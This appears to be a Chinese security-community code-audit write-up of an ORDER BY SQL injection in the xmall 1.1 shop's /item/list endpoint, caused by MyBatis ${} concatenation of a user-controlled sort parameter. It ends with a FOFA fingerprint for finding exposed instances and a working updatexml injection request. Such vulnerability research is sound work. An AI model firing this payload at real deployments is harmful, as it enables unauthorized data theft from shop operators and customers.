xiao1star2025-04-11文章来源:SecHub网络安全社区
基于SOA架构的分布式电商购物商城 前后端分离前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/ELasticsearch/Redis/Mysql/ActiveMQ/Shrio/Zookeeper等在/item/list接口存在SQL注入漏洞,会造成数据泄露。
xmall-1.1版本
打开目录大致撇了一眼是十分清晰的MVC结构,发现有一个dao层,进去点点点发现有许多.xml
文件,猜测使用的是mybatis连接的数据
随便进入一个.xml
文件中发现在它的头部有mybatis.org
,没错了就是mybatis方法连接的数据库,总所周知${}
的参数拼接方式容易导致sql注入的形成,接下来就进入我们的一波分析吧
漏洞出现在\xmall-manager-web
的Controller层下的ItemController.java
中的getItemSearchList
方法中
分析:首先可以知道路由是/item/list
,且传参方式是GET方式,我们进入方法内容看看,首先是接收了来此前端的search[value]
、order[0][column]
、order[0][dir]
参数并将其赋值给对应的变量,接着就是创建了一个cols
的数组用于获取客户端需要排序的列,接着又将cols
数组中的orderCol
键的值赋值给orderColumn
,接着进行了一次非空判断,然后设置了排序,紧接着调用了itemService
的getItemList
方法进行了数据的查询操作并将结果返回。
Ctrl
点击接着来到getItemList
方法中这是一个Service接口,我们需要到它的实现类中一探究竟
通过全局搜搜,来到了ItemServiceImpl
实现类中
分析:首先是创建一个新的DataTablesResult
对象,用于存储查询结果;接着使用使用PageHelper插件开始分页,计算当前页码;然后调用tbItemMapper
的selectItemByMultiCondition
方法根据传入的条件进行查询,返回一个TbItem
对象的列表;创建了PageInfo对象,用于封装分页信息;接着设置过滤后的记录总数、设置draw参数并将查询到的列表设置为结果的数据,最后返回DataTablesResult
对象
接下来到selectItemByMultiCondition
方法中,这也是一个Mapper
接口
我们进入到TbItemMapper.xml
中查看其方法的实现
分析:我们发现在ORDER BY
中使用了${}
方式进行sql语句的填充方式,其参数为orderCol
、orderDir
,要知道orderDir
参数是由用户可以控制的order[0][dir]
参数,并且在整个sql语句构造到执行的过程中没有对sql语句进行任何的过滤进而造成了sql注入
fafo
app="XMall-后台管理系统"
poc
GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,md5(102103122),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D&search%5Bregex%5D=false&cid=-1&_=1679041197136 HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36